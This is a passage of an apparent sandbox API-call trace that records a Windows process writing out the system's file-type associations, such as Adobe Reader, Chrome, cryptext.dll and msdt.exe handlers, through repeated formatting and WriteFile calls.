(x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86 [0099.834] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0100.683] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 87 [0100.683] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.683] GetFileType (hFile=0x5c) returned 0x3 [0100.683] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.pdfxml.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0100.684] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0100.684] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 85 [0100.684] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.684] GetFileType (hFile=0x5c) returned 0x3 [0100.684] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XDPDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86 [0100.684] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0100.684] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 86 [0100.684] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.684] GetFileType (hFile=0x5c) returned 0x3 [0100.684] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.XFDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 87 [0100.685] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x56, lpOverlapped=0x0) returned 1 [0100.686] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n") returned 71 [0100.686] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.686] GetFileType (hFile=0x5c) returned 0x3 [0100.686] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Manifest=rundll32.exe dfshim.dll,ShOpenVerbApplication %1\r\n", lpUsedDefaultChar=0x0) returned 72 [0100.686] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0100.686] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n") returned 72 [0100.686] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.686] GetFileType (hFile=0x5c) returned 0x3 [0100.687] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Application.Reference=rundll32.exe dfshim.dll,ShOpenVerbShortcut %1|%2\r\n", lpUsedDefaultChar=0x0) returned 73 [0100.687] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x48, lpOverlapped=0x0) returned 1 [0100.687] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="batfile=\"%1\" %*\r\n") returned 17 [0100.687] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.687] GetFileType (hFile=0x5c) returned 0x3 [0100.687] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="batfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="batfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18 [0100.688] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0100.690] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n") returned 125 [0100.690] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.690] GetFileType (hFile=0x5c) returned 0x3 [0100.690] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootstrap.vsto.1=rundll32.exe \"c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\vstoee.dll\",InstallVstoSolution %1\r\n", lpUsedDefaultChar=0x0) returned 126 [0100.690] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7d, lpOverlapped=0x0) returned 1 [0100.691] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n") returned 45 [0100.691] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.691] GetFileType (hFile=0x5c) returned 0x3 [0100.691] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brmFile=\"PrintBrmUI.exe\" /import /file:\"%1\"\r\n", lpUsedDefaultChar=0x0) returned 46 [0100.691] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2d, lpOverlapped=0x0) returned 1 [0100.691] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n") returned 51 [0100.691] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.691] GetFileType (hFile=0x5c) returned 0x3 [0100.691] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 52 [0100.691] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x33, lpOverlapped=0x0) returned 1 [0100.691] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 70 [0100.691] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.691] GetFileType (hFile=0x5c) returned 0x3 [0100.692] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="callto=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71 [0100.692] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x46, lpOverlapped=0x0) returned 1 [0100.692] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n") returned 76 [0100.692] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.692] GetFileType (hFile=0x5c) returned 0x3 [0100.692] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCAT %1\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.692] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.693] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n") returned 76 [0100.693] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.693] GetFileType (hFile=0x5c) returned 0x3 [0100.693] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCER %1\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.693] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.693] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n") returned 89 [0100.693] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.693] GetFileType (hFile=0x5c) returned 0x3 [0100.693] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CertificateStoreFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenSTR %1\r\n", lpUsedDefaultChar=0x0) returned 90 [0100.694] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x59, lpOverlapped=0x0) returned 1 [0100.694] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n") returned 83 [0100.694] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.694] GetFileType (hFile=0x5c) returned 0x3 [0100.694] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certificate_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /certificate \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.694] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.694] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n") returned 35 [0100.694] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.694] GetFileType (hFile=0x5c) returned 0x3 [0100.694] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.694] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chm.file=\"%SystemRoot%\\hh.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 36 [0100.695] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x23, lpOverlapped=0x0) returned 1 [0100.695] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n") returned 82 [0100.695] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.695] GetFileType (hFile=0x5c) returned 0x3 [0100.695] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.695] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ChromeHTML=\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\" -- \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.695] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.696] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="cmdfile=\"%1\" %*\r\n") returned 17 [0100.696] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.696] GetFileType (hFile=0x5c) returned 0x3 [0100.696] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="cmdfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18 [0100.696] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0100.696] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="comfile=\"%1\" %*\r\n") returned 17 [0100.696] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.696] GetFileType (hFile=0x5c) returned 0x3 [0100.696] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.696] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="comfile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comfile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18 [0100.696] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0100.697] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n") returned 58 [0100.697] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.697] GetFileType (hFile=0x5c) returned 0x3 [0100.697] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.697] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompressedFolder=%SystemRoot%\\Explorer.exe /idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 59 [0100.697] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3a, lpOverlapped=0x0) returned 1 [0100.697] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n") returned 68 [0100.697] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.698] GetFileType (hFile=0x5c) returned 0x3 [0100.698] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conf=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69 [0100.698] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x44, lpOverlapped=0x0) returned 1 [0100.698] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n") returned 75 [0100.698] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.698] GetFileType (hFile=0x5c) returned 0x3 [0100.698] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.698] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="contact_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /contact \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76 [0100.698] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0100.699] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n") returned 76 [0100.699] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.699] GetFileType (hFile=0x5c) returned 0x3 [0100.699] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.699] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRLFile=%SystemRoot%\\system32\\rundll32.exe cryptext.dll,CryptExtOpenCRL %1\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.699] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.700] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n") returned 61 [0100.700] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.700] GetFileType (hFile=0x5c) returned 0x3 [0100.700] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Diagnostic.Cabinet=%SystemRoot%\\system32\\msdt.exe /cab \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 62 [0100.700] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3d, lpOverlapped=0x0) returned 1 [0100.700] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n") returned 61 [0100.700] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.700] GetFileType (hFile=0x5c) returned 0x3 [0100.700] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.700] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Diagnostic.Config=%SystemRoot%\\system32\\msdt.exe /path \"%1\"\r\n", cchWideChar=-1, 